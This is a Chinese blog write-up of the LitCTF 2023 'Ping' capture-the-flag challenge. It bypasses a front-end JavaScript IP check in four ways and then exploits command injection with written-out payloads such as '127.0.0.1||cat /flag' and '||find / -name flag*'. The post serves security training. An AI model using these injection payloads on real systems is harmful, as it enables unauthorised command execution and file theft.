mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
首页 / CTF / Web 5 [LitCTF 2023]Ping
371 字
1 分钟
Web 5 [LitCTF 2023]Ping
2024-11-30
无标签

一题多解思路。

前置分析#

随便 ping 一个值(比如本地回环 127.0.0.1):

提交被拦截,有前端验证。查看源码发现是 JavaScript 的 IP 格式校验:

check_ip() 函数用正则表达式验证 IPv4 格式,不符合就弹窗阻止提交。

思路一:禁用 JavaScript#

直接在浏览器设置里禁用 JavaScript,绕过前端验证。

禁用后输入 127.0.0.1 可以正常提交,但结果好像没什么用。接着尝试命令注入:

输入 127.0.0.1||ls/

找到了 flag 文件。输入 127.0.0.1||cat /flag

flag = NSSCTF{cae6837d-0912-4b2b-bbd8-0ed6e1695c9e}

思路二:HackBar 发包#

通过 HackBar 直接发送 POST 请求,绕过前端验证。

参数值同样用 127.0.0.1||ls/ 列目录,再用 127.0.0.1||cat /flag 读取内容。

思路三:Hook 绕过前端验证#

在浏览器开发者工具控制台中执行:

check_ip = function(){}

check_ip 替换为空函数,此后任何输入都会通过验证,直接提交即可。

思路四:BurpSuite 抓包改参数#

用 BurpSuite 拦截请求后修改参数值:

  1. 原始请求中 command=127.0.0.1
  2. 改为 command=127.0.0.1|whoami 确认执行权限,返回 www-data
  3. 改为 command=127.0.0.x||find / -name flag* 查找 flag 文件,返回 /flag
  4. 改为 command=127.0.0.x||cat /flag 读取内容

总结#

  • 考点:前端验证绕过 + 命令注入(RCE)
  • 经典 Ping 命令 RCE 题,前端用 JS 阻止危险输入,后端直接拼接命令执行
  • 多种绕过手段:禁用 JS、HackBar、Hook 函数、BurpSuite 拦截
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Web 5 [LitCTF 2023]Ping
https://npiter.de/posts/web-5-litctf-2023ping/
作者
piter
发布于
2024-11-30
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

封面
Sample Song
Sample Artist
封面
Sample Song
Sample Artist
0:00 / 0:00